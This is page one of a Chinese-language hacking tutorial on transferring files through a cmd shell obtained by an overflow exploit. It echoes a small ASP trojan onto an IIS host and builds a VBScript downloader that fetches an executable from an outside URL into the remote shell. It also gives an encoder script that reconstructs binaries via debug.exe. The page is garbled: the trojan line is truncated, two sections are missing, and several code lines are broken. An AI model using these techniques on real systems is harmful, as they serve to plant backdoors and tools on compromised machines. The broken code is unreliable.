Do All in Cmd Shell一切在命令行下完成第1/6頁(yè)
2020-06-09 14:13:38
供稿:網(wǎng)友
文件傳輸
對(duì)于溢出漏洞獲得的cmd shell,最大的問(wèn)題就是如何上傳文件。由于蠕蟲(chóng)病毒流行,連接ipc$所需要的139或445端口被路由封鎖。再加上WinXP系統(tǒng)加強(qiáng)了對(duì)ipc$的保護(hù),通過(guò)ipc$及默認(rèn)共享上傳文件的手段基本無(wú)效了。ftp和tftp是兩種可行的方法,介于其已被大家熟知,本文就不介紹了。還有三種大家熟悉的辦法,作為總結(jié)我再提一下:
1,用Echo命令寫ASP木馬。
前提當(dāng)然是目標(biāo)主機(jī)上已經(jīng)安裝了IIS。
一般的ASP木馬"體積"較大,不適合直接用echo命令寫入文件,這里我提供一個(gè)小巧的。
直接給出echo版:
@echo ^ >up.asp
注意,只有一行,中間沒(méi)有回車符。
生成的up.asp不能用瀏覽器訪問(wèn),只能用下面這個(gè)腳本:
with wscript
if .arguments.count>dl.vbs
@echo w.open "get",.arguments(0),0:w.send:if w.status^>200 then .echo "Error:"+w.status:.quit>>dl.vbs
@echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs
舉例——下載ps.exe并保存到c:/path下:
cscript dl.vbs http://www.sometips.com/soft/ps.exe c:/path/ps.exe
注意,這是在遠(yuǎn)程shell中執(zhí)行的。
4,Echo經(jīng)過(guò)編碼的任何文件,再用腳本+debug還原。
前面兩個(gè)辦法都不能保證穿過(guò)防火墻。而且,除非自己架Web服務(wù)器,一般的Web資源都是以壓縮文件的形式提供。如果目標(biāo)主機(jī)沒(méi)有解壓工具,還是沒(méi)轍。那么只有出"殺手锏"了!
echo命令加重定向x作符可以寫入ASCII碼小于128的字符,但大于等于128的不行。只有將本地文件重新"編碼"為可顯示的字符,才能方便地寫入遠(yuǎn)程主機(jī)。首先能想到的就是base64編碼,即email附件的編碼方式。但vbs不支持位x作,因此編碼和解碼較復(fù)雜。更麻煩的是,腳本以二進(jìn)制流方式處理文件的能力很差。(ADODB.Stream可以以流方式寫文件,但我無(wú)法構(gòu)造出相應(yīng)的數(shù)據(jù)類型。二進(jìn)制數(shù)據(jù)流可以用midb函數(shù)轉(zhuǎn)成字符串,但反過(guò)來(lái)不行。我花了兩天時(shí)間,還是沒(méi)能解決這個(gè)問(wèn)題。如果有誰(shuí)能用vbs或js寫任意的字節(jié)數(shù)據(jù)到文件中,懇請(qǐng)賜教。)
無(wú)奈只有請(qǐng)debug.exe出馬了。原理很多人都知道,我不介紹了,直接給出成果——編碼腳本:
fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"/"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl/65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_